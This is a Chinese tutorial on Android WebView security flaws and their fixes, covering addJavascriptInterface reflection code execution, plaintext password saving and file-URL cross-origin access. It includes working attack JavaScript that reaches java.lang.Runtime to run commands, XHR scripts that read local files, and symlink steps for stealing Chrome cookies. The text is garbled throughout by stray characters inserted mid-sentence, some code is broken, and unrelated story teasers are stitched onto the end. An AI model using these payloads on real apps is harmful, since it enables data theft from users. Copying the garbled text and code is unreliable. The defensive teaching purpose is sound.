Android你不知道的 WebView 使用漏洞

前言

  • 現(xiàn)在很多App里都內(nèi)置了Web網(wǎng)頁(Hyprid App)橄仍,比如說很多電商平臺韧涨,淘寶、京東侮繁、聚劃算等等虑粥,如下圖

  • 上述功能是由 Android的WebView 實現(xiàn)的,但是 WebView 使用過程中存在許多漏洞宪哩,容易造成用戶數(shù)據(jù)泄露等等危險娩贷,而很多人往往會忽視這個問題
  • 今天我將全面介紹 Android WebView的使用漏洞 及其修復方式

目錄


1. 類型

WebView中,主要漏洞有三類:

  • 任意代碼執(zhí)行漏洞
  • 密碼明文存儲漏洞
  • 域控制不嚴格漏洞

2. 具體分析

2.1 WebView 任意代碼執(zhí)行漏洞

出現(xiàn)該漏洞的原因有三個:

  • WebView 中 addJavascriptInterface() 接口
  • WebView 內(nèi)置導出的 searchBoxJavaBridge_對象
  • WebView 內(nèi)置導出的 accessibilityaccessibilityTraversalObject 對象

2.1.1 addJavascriptInterface 接口引起遠程代碼執(zhí)行漏洞

A. 漏洞產(chǎn)生原因

JS調(diào)用Android的其中一個方式是通過addJavascriptInterface接口進行對象映射:

 webView.addJavascriptInterface(new JSObject(), "myObj");
// 參數(shù)1:Android的本地對象
// 參數(shù)2:JS的對象
// 通過對象映射將Android中的本地對象和JS中的對象進行關聯(lián)锁孟,從而實現(xiàn)JS調(diào)用Android的對象和方法

所以彬祖,漏洞產(chǎn)生原因是:當JS拿到Android這個對象后,就可以調(diào)用這個Android對象中所有的方法品抽,包括系統(tǒng)類(java.lang.Runtime 類)储笑,從而進行任意代碼執(zhí)行。

如可以執(zhí)行命令獲取本地設備的SD卡中的文件等信息從而造成信息泄露

具體獲取系統(tǒng)類的描述:(結(jié)合 Java 反射機制)

  • Android中的對象有一公共的方法:getClass() 圆恤;
  • 該方法可以獲取到當前類 類型Class
  • 該類有一關鍵的方法: Class.forName突倍;
  • 該方法可以加載一個類(可加載 java.lang.Runtime 類)
  • 而該類是可以執(zhí)行本地命令的

以下是攻擊的Js核心代碼:

function execute(cmdArgs)  
{  
    // 步驟1:遍歷 window 對象
    // 目的是為了找到包含 getClass ()的對象
    // 因為Android映射的JS對象也在window中,所以肯定會遍歷到
    for (var obj in window) {  
        if ("getClass" in window[obj]) {  

      // 步驟2:利用反射調(diào)用forName()得到Runtime類對象
            alert(obj);          
            return  window[obj].getClass().forName("java.lang.Runtime")  

      // 步驟3:以后哑了,就可以調(diào)用靜態(tài)方法來執(zhí)行一些命令赘方,比如訪問文件的命令
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  

// 從執(zhí)行命令后返回的輸入流中得到字符串,有很嚴重暴露隱私的危險弱左。
// 如執(zhí)行完訪問文件的命令之后窄陡,就可以得到文件名的信息了。
        }  
    }  
}   
  • 當一些 APP 通過掃描二維碼打開一個外部網(wǎng)頁時拆火,攻擊者就可以執(zhí)行這段 js 代碼進行漏洞攻擊跳夭。
  • 在微信盛行、掃一掃行為普及的情況下们镜,該漏洞的危險性非常大

B. 解決方案

B1. Android 4.2版本之后

Google 在Android 4.2 版本中規(guī)定對被調(diào)用的函數(shù)以 @JavascriptInterface進行注解從而避免漏洞攻擊

B2. Android 4.2版本之前

在Android 4.2版本之前采用攔截prompt()進行漏洞修復币叹。
具體步驟如下:

  • 繼承 WebView ,重寫 addJavascriptInterface 方法模狭,然后在內(nèi)部自己維護一個對象映射關系的 Map颈抚;

    將需要添加的 JS 接口放入該Map中

  • 每次當 WebView 加載頁面前加載一段本地的 JS 代碼,原理是:

    • 讓JS調(diào)用一Javascript方法:該方法是通過調(diào)用prompt()把JS中的信息(含特定標識嚼鹉,方法名稱等)傳遞到Android端贩汉;
    • 在Android的onJsPrompt()中 驱富,解析傳遞過來的信息,再通過反射機制調(diào)用Java對象的方法匹舞,這樣實現(xiàn)安全的JS調(diào)用Android代碼褐鸥。

關于Android返回給JS的值:可通過prompt()把Java中方法的處理結(jié)果返回到Js中

具體需要加載的JS代碼如下:

javascript:(function JsAddJavascriptInterface_(){  
// window.jsInterface 表示在window上聲明了一個Js對象

//   jsInterface = 注冊的對象名
// 它注冊了兩個方法,onButtonClick(arg0)和onImageClick(arg0, arg1, arg2)
// 如果有返回值赐稽,就添加上return
    if (typeof(window.jsInterface)!='undefined') {      
        console.log('window.jsInterface_js_interface_name is exist!!');}   
    else {  
        window.jsInterface = {     

     // 聲明方法形式:方法名: function(參數(shù))
            onButtonClick:function(arg0) {   
// prompt()返回約定的字符串
// 該字符串可自己定義
// 包含特定的標識符MyApp和 JSON 字符串(方法名叫榕,參數(shù),對象名等)    
                return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]}));  
            },  

            onImageClick:function(arg0,arg1,arg2) {   
         return
prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]}));  
            },  
        };  
    }  
}  
)()

// 當JS調(diào)用 onButtonClick() 或 onImageClick() 時姊舵,就會回調(diào)到Android中的 onJsPrompt ()
// 我們解析出方法名晰绎,參數(shù),對象名
// 再通過反射機制調(diào)用Java對象的方法

關于該方法的其他細節(jié)

細節(jié)1:加載上述JS代碼的時機

  • 由于當 WebView 跳轉(zhuǎn)到下一個頁面時蠢莺,之前加載的 JS 可能已經(jīng)失效
  • 所以寒匙,通常需要在以下方法中加載 JS:
onLoadResource();
doUpdateVisitedHistory()躏将;
onPageStarted()锄弱;
onPageFinished();
onReceivedTitle()祸憋;
onProgressChanged()会宪;

細節(jié)2:需要過濾掉 Object 類的方法

  • 由于最終是通過反射得到Android指定對象的方法,所以同時也會得到基類的其他方法(最頂層的基類是 Object類)
  • 為了不把 getClass()等方法注入到 JS 中蚯窥,我們需要把 Object 的共有方法過濾掉掸鹅,需要過濾的方法列表如下:
getClass()
hashCode()
notify()
notifyAl()
equals()
toString()
wait()

總結(jié)

  • 對于Android 4.2以前,需要采用攔截prompt()的方式進行漏洞修復

  • 對于Android 4.2以后拦赠,則只需要對被調(diào)用的函數(shù)以 @JavascriptInterface進行注解

  • 關于 Android 系統(tǒng)占比巍沙,Google公布的數(shù)據(jù):截止 2017 .1 .8 ,Android4.4 之下占有約15%荷鼠,所以需要重視句携。

    具體數(shù)據(jù)如下:

2.1.2 searchBoxJavaBridge_接口引起遠程代碼執(zhí)行漏洞

A. 漏洞產(chǎn)生原因

  • 在Android 3.0以下,Android系統(tǒng)會默認通過searchBoxJavaBridge_的Js接口給 WebView 添加一個JS映射對象:searchBoxJavaBridge_對象
  • 該接口可能被利用允乐,實現(xiàn)遠程任意代碼矮嫉。

B. 解決方案

刪除searchBoxJavaBridge_接口

// 通過調(diào)用該方法刪除接口
removeJavascriptInterface();

2.1.3 accessibilityaccessibilityTraversal接口引起遠程代碼執(zhí)行漏洞

問題分析與解決方案同上牍疏,這里不作過多闡述蠢笋。

2.2 密碼明文存儲漏洞

2.2.1 問題分析

WebView默認開啟密碼保存功能 :

mWebView.setSavePassword(true)`
  • 開啟后,在用戶輸入密碼時鳞陨,會彈出提示框:詢問用戶是否保存密碼昨寞;
  • 如果選擇”是”,密碼會被明文保到 /data/data/com.package.name/databases/webview.db 中,這樣就有被盜取密碼的危險

2.2.2 解決方案

關閉密碼保存提醒

WebSettings.setSavePassword(false) 

2.3 域控制不嚴格漏洞

2.3.1 問題分析

先看Android里的WebViewActivity.java

public class WebViewActivity extends Activity {
    private WebView webView;
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_webview);
        webView = (WebView) findViewById(R.id.webView);

        //webView.getSettings().setAllowFileAccess(false);                    (1)
        //webView.getSettings().setAllowFileAccessFromFileURLs(true);         (2)
        //webView.getSettings().setAllowUniversalAccessFromFileURLs(true);    (3)
        Intent i = getIntent();
        String url = i.getData().toString(); //url = file:///data/local/tmp/attack.html 
        webView.loadUrl(url);
    }
 }

/**Mainifest.xml**/
// 將該 WebViewActivity 在Mainifest.xml設置exported屬性
// 表示:當前Activity是否可以被另一個Application的組件啟動
android:exported="true"

即 A 應用可以通過 B 應用導出的 Activity 讓 B 應用加載一個惡意的 file 協(xié)議的 url编矾,從而可以獲取 B 應用的內(nèi)部私有文件熟史,從而帶來數(shù)據(jù)泄露威脅

具體:當其他應用啟動此 Activity 時馁害, intent 中的 data 直接被當作 url 來加載(假定傳進來的 url 為 file:///data/local/tmp/attack.html )窄俏,其他 APP 通過使用顯式 ComponentName 或者其他類似方式就可以很輕松的啟動該 WebViewActivity 并加載惡意url。

下面我們著重分析WebView中getSettings類的方法對 WebView 安全性的影響:

  • setAllowFileAccess()
  • setAllowFileAccessFromFileURLs()
  • setAllowUniversalAccessFromFileURLs()

1. setAllowFileAccess()

// 設置是否允許 WebView 使用 File 協(xié)議
webView.getSettings().setAllowFileAccess(true);     
// 默認設置為true碘菜,即允許在 File 域下執(zhí)行任意 JavaScript 代碼

使用 file 域加載的 js代碼能夠使用進行同源策略跨域訪問凹蜈,從而導致隱私信息泄露

  1. 同源策略跨域訪問:對私有目錄文件進行訪問
  2. 針對 IM 類產(chǎn)品,泄露的是聊天信息忍啸、聯(lián)系人等等
  3. 針對瀏覽器類軟件仰坦,泄露的是cookie 信息泄露。

如果不允許使用 file 協(xié)議计雌,則不會存在上述的威脅悄晃;

webView.getSettings().setAllowFileAccess(true);     

但同時也限制了 WebView 的功能,使其不能加載本地的 html 文件凿滤,如下圖:

移動版的 Chrome 默認禁止加載 file 協(xié)議的文件

解決方案:

  • 對于不需要使用 file 協(xié)議的應用妈橄,禁用 file 協(xié)議;
setAllowFileAccess(false); 
  • 對于需要使用 file 協(xié)議的應用翁脆,禁止 file 協(xié)議加載 JavaScript眷蚓。
setAllowFileAccess(true); 

// 禁止 file 協(xié)議加載 JavaScript
if (url.startsWith("file://") {
    setJavaScriptEnabled(false);
} else {
    setJavaScriptEnabled(true);
}

2. setAllowFileAccessFromFileURLs()

// 設置是否允許通過 file url 加載的 Js代碼讀取其他的本地文件
webView.getSettings().setAllowFileAccessFromFileURLs(true);
// 在Android 4.1前默認允許
// 在Android 4.1后默認禁止

AllowFileAccessFromFileURLs()設置為 true 時,攻擊者的JS代碼為:


<script>
function loadXMLDoc()
{
    var arm = "file:///etc/hosts";
    var xmlhttp;
    if (window.XMLHttpRequest)
    {
        xmlhttp=new XMLHttpRequest();
    }
    xmlhttp.onreadystatechange=function()
    {
        //alert("status is"+xmlhttp.status);
        if (xmlhttp.readyState==4)
        {
              console.log(xmlhttp.responseText);
        }
    }
    xmlhttp.open("GET",arm);
    xmlhttp.send(null);
}
loadXMLDoc();
</script>

// 通過該代碼可成功讀取 /etc/hosts 的內(nèi)容數(shù)據(jù)

解決方案:設置setAllowFileAccessFromFileURLs(false);

當設置成為 false 時反番,上述JS的攻擊代碼執(zhí)行會導致錯誤沙热,表示瀏覽器禁止從 file url 中的 javascript 讀取其它本地文件。

3. setAllowUniversalAccessFromFileURLs()

// 設置是否允許通過 file url 加載的 Javascript 可以訪問其他的源(包括http罢缸、https等源)
webView.getSettings().setAllowUniversalAccessFromFileURLs(true);

// 在Android 4.1前默認允許(setAllowFileAccessFromFileURLs()不起作用)
// 在Android 4.1后默認禁止

AllowFileAccessFromFileURLs()被設置成true時篙贸,攻擊者的JS代碼是:

// 通過該代碼可成功讀取 http://www.so.com 的內(nèi)容
<script>
function loadXMLDoc()
{
    var arm = "http://www.so.com";
    var xmlhttp;
    if (window.XMLHttpRequest)
    {
        xmlhttp=new XMLHttpRequest();
    }
    xmlhttp.onreadystatechange=function()
    {
        //alert("status is"+xmlhttp.status);
        if (xmlhttp.readyState==4)
        {
             console.log(xmlhttp.responseText);
        }
    }
    xmlhttp.open("GET",arm);
    xmlhttp.send(null);
}
loadXMLDoc();
</script>

解決方案:設置setAllowUniversalAccessFromFileURLs(false);

4. setJavaScriptEnabled()

// 設置是否允許 WebView 使用 JavaScript(默認是不允許)
webView.getSettings().setJavaScriptEnabled(true);  

// 但很多應用(包括移動瀏覽器)為了讓 WebView 執(zhí)行 http 協(xié)議中的 JavaScript,都會主動設置為true枫疆,不區(qū)別對待是非常危險的爵川。

即使把setAllowFileAccessFromFileURLs()setAllowUniversalAccessFromFileURLs()都設置為 false,通過 file URL 加載的 javascript 仍然有方法訪問其他的本地文件:符號鏈接跨源攻擊

前提是允許 file URL 執(zhí)行 javascript养铸,即webView.getSettings().setJavaScriptEnabled(true);

這一攻擊能奏效的原因是:通過 javascript 的延時執(zhí)行和將當前文件替換成指向其它文件的軟鏈接就可以讀取到被符號鏈接所指的文件雁芙。具體攻擊步驟:
1. 把惡意的 js 代碼輸出到攻擊應用的目錄下,隨機命名為 xx.html钞螟,修改該目錄的權限兔甘;
2. 修改后休眠 1s,讓文件操作完成鳞滨;
3. 完成后通過系統(tǒng)的 Chrome 應用去打開該 xx.html 文件
4. 等待 4s 讓 Chrome 加載完成該 html洞焙,最后將該 html 刪除,并且使用 ln -s 命令為 Chrome 的 Cookie 文件創(chuàng)建軟連接

注:在該命令執(zhí)行前 xx.html 是不存在的;執(zhí)行完這條命令之后澡匪,就生成了這個文件熔任,并且將 Cookie 文件鏈接到了 xx.html 上。

于是就可通過鏈接來訪問 Chrome 的 Cookie

  1. Google 沒有進行修復唁情,只是讓Chrome 最新版本默認禁用 file 協(xié)議疑苔,所以這一漏洞在最新版的 Chrome 中并不存在
  2. 但是,在日常大量使用 WebView 的App和瀏覽器甸鸟,都有可能受到此漏洞的影響惦费。通過利用此漏洞,容易出現(xiàn)數(shù)據(jù)泄露的危險

如果是 file 協(xié)議抢韭,禁用 javascript 可以很大程度上減小跨源漏洞對 WebView 的威脅薪贫。

  1. 但并不能完全杜絕跨源文件泄露。
  2. 例:應用實現(xiàn)了下載功能刻恭,對于無法加載的頁面瞧省,會自動下載到 sd 卡中;由于 sd 卡中的文件所有應用都可以訪問鳍贾,于是可以通過構(gòu)造一個 file URL 指向被攻擊應用的私有文件鞍匾,然后用此 URL 啟動被攻擊應用的 WebActivity,這樣由于該 WebActivity 無法加載該文件贾漏,就會將該文件下載到 sd 卡下面候学,然后就可以從 sd 卡上讀取這個文件了

最終解決方案

  • 對于不需要使用 file 協(xié)議的應用,禁用 file 協(xié)議纵散;
// 禁用 file 協(xié)議梳码;
setAllowFileAccess(false); 
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);
  • 對于需要使用 file 協(xié)議的應用,禁止 file 協(xié)議加載 JavaScript伍掀。
// 需要使用 file 協(xié)議
setAllowFileAccess(true); 
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);

// 禁止 file 協(xié)議加載 JavaScript
if (url.startsWith("file://") {
    setJavaScriptEnabled(false);
} else {
    setJavaScriptEnabled(true);
}

?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末掰茶,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子蜜笤,更是在濱河造成了極大的恐慌濒蒋,老刑警劉巖,帶你破解...
    沈念sama閱讀 210,914評論 6 490
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件把兔,死亡現(xiàn)場離奇詭異沪伙,居然都是意外死亡,警方通過查閱死者的電腦和手機县好,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 89,935評論 2 383
  • 文/潘曉璐 我一進店門围橡,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人缕贡,你說我怎么就攤上這事翁授〖鸩ィ” “怎么了?”我有些...
    開封第一講書人閱讀 156,531評論 0 345
  • 文/不壞的土叔 我叫張陵收擦,是天一觀的道長贮配。 經(jīng)常有香客問我,道長塞赂,這世上最難降的妖魔是什么泪勒? 我笑而不...
    開封第一講書人閱讀 56,309評論 1 282
  • 正文 為了忘掉前任,我火速辦了婚禮减途,結(jié)果婚禮上酣藻,老公的妹妹穿的比我還像新娘。我一直安慰自己鳍置,他們只是感情好,可當我...
    茶點故事閱讀 65,381評論 5 384
  • 文/花漫 我一把揭開白布送淆。 她就那樣靜靜地躺著税产,像睡著了一般。 火紅的嫁衣襯著肌膚如雪偷崩。 梳的紋絲不亂的頭發(fā)上辟拷,一...
    開封第一講書人閱讀 49,730評論 1 289
  • 那天,我揣著相機與錄音阐斜,去河邊找鬼衫冻。 笑死,一個胖子當著我的面吹牛谒出,可吹牛的內(nèi)容都是我干的隅俘。 我是一名探鬼主播,決...
    沈念sama閱讀 38,882評論 3 404
  • 文/蒼蘭香墨 我猛地睜開眼笤喳,長吁一口氣:“原來是場噩夢啊……” “哼为居!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起杀狡,我...
    開封第一講書人閱讀 37,643評論 0 266
  • 序言:老撾萬榮一對情侶失蹤蒙畴,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后呜象,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體膳凝,經(jīng)...
    沈念sama閱讀 44,095評論 1 303
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,448評論 2 325
  • 正文 我和宋清朗相戀三年恭陡,在試婚紗的時候發(fā)現(xiàn)自己被綠了蹬音。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 38,566評論 1 339
  • 序言:一個原本活蹦亂跳的男人離奇死亡子姜,死狀恐怖祟绊,靈堂內(nèi)的尸體忽然破棺而出楼入,到底是詐尸還是另有隱情,我是刑警寧澤牧抽,帶...
    沈念sama閱讀 34,253評論 4 328
  • 正文 年R本政府宣布嘉熊,位于F島的核電站,受9級特大地震影響扬舒,放射性物質(zhì)發(fā)生泄漏阐肤。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 39,829評論 3 312
  • 文/蒙蒙 一讲坎、第九天 我趴在偏房一處隱蔽的房頂上張望孕惜。 院中可真熱鬧,春花似錦晨炕、人聲如沸衫画。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,715評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽削罩。三九已至,卻和暖如春费奸,著一層夾襖步出監(jiān)牢的瞬間弥激,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,945評論 1 264
  • 我被黑心中介騙來泰國打工愿阐, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留微服,地道東北人。 一個月前我還...
    沈念sama閱讀 46,248評論 2 360
  • 正文 我出身青樓缨历,卻偏偏與公主長得像以蕴,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子戈二,可洞房花燭夜當晚...
    茶點故事閱讀 43,440評論 2 348

推薦閱讀更多精彩內(nèi)容